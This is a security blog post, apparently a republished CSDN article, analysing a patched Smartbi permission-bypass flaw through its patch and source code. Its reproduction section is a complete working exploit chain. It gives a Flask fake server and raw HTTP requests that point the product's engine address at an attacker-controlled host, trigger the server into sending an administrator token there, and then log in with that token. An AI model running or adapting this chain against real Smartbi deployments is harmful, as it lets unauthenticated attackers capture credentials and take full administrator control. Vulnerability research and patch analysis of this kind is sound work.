Smartbi token callback to obtain login credentials vulnerability

Some time ago, Smartbi officially fixed a permission bypass vulnerability. Unauthorized attackers can exploit this vulnerability to obtain an administrator token and completely take over administrator privileges. So I studied the relevant patches and analyzed them.

0x01 analysis result

According to the patch analysis, the following vulnerability reproduction steps are obtained

The first step is to set EngineAddress as the http service address on the attacker's machine

First, use python flask to build a fake server, on which only the /api/v1/configs/engine/smartbitoken interface is registered, which returns a json response body

from flask import Flask,jsonify,request


app = Flask(__name__)

@app.route('/api/v1/configs/engine/smartbitoken',methods=["POST"])
def hello():
    print(request.json)
    return jsonify(hi="jello")

if __name__ == "__main__":
    app.run(host="0.0.0.0",port=8000)
490d999f208e6f01108dc50bac1b5fcf.png

Use the following poc, set EngineAddress to our fake server address http://10.52.32.43:8000,

POST /smartbi/smartbix/api/monitor/setEngineAddress/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 23

http://10.52.32.43:8000
6cfc045488db9b7fb330f9e16b4656c6.png

The second step is to trigger smartbi to send the token to the EngineAddress we just set

Send the following request

POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 10

experiment
7756caa338e28c08078da6e203440b6f.png

After sending the relevant request, you can see the request carrying the token on our fake server

3d283a1eaff0b1d8b6468743ffaedea4.png

The third step is to log in with the token obtained above

POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 47

admin_I8ac3b2d10189e80fe80fea750189ed0084f50082

Returning true indicates that the login is successful, and the cookie is a legal credential

a1ef9d0b7d845727674014a721f52a4a.png

0x02 analysis process

Read the relevant patches, we know that this vulnerability is related to /smartbix/api/monitor/setServiceAddress

9e58a445662360399f63f3157e7954a3.png

Looking further at the patching method of the RejectSmartbixSetAddress class, we can see that it is related to the getToken method of the smartbix.datamining.service.MonitorService class. The patch indicates that if there is a getToken method in the smartbix.datamining.service.MonitorService in the system, intercept /smartbix/api/monitor/ A series of interface requests such as setEngineAddress.

ee9ddff0ec62af075829156b3d6503c2.png

Analysis of the smartbix.datamining.service.MonitorService class shows from the annotations in the header that all routes under this class can be accessed without authentication

bff17148a390b371ad131930d7ea8eca.png

Locate the /token of the route corresponding to the getToken method, generate a token inside the method, and send the token to the ENGINE_ADDRESS configured in the system configuration when the input type parameter is experiment

8af8e0c32591d1520558252abcceb12b.png 12042d505bbc00e045b77077e14d0901.png

This means that as long as ENGINE_ADDRESS is controllable, then we can obtain a legal token. The route /smartbix/api/monitor/setServiceAddress of the patch package locates the setEngineAddress method, which shows that this method can configure ENGINE_ADDRESS without authorization.

00a5b962e5e0ff184390ec090142ec3d.png

That means, you only need to call the /smartbix/api/monitor/setServiceAddress interface, set ENGINE_ADDRESS as our controllable fake server, then you can get the token from the request message. (After trying this location, it is found that the /api/v1/configs/engine/smartbitoken interface requested by the POST method needs to be implemented on the fake server, and the response content is json) After obtaining the token, you can call /smartbix/api/monitor /login method to log in

cae3e6e4b0e2263bac086f82d10e9890.png

0x03 other instructions

The above only explains the situation of setting ENGINE_ADDRESS to use, and the steps to set SERVICE_ADDRESS to use are similar to the above

8706bc9e3c5b6f3a91e47745cd23bacc.jpeg

Call for original manuscripts

Call for original technical articles, welcome to post

Submission email: [email protected]

Article type: hacker geek technology, information security hotspots, security research and analysis, etc.

If you pass the review and publish it, you can get a remuneration ranging from 200-800 yuan.

For more details, click me to view!

fc5ce7f9f63d5eba83632b07fc6acdc2.gif

Shooting range practice, click "Read the original text"

Guess you like

Origin blog.csdn.net/qq_38154820/article/details/132463652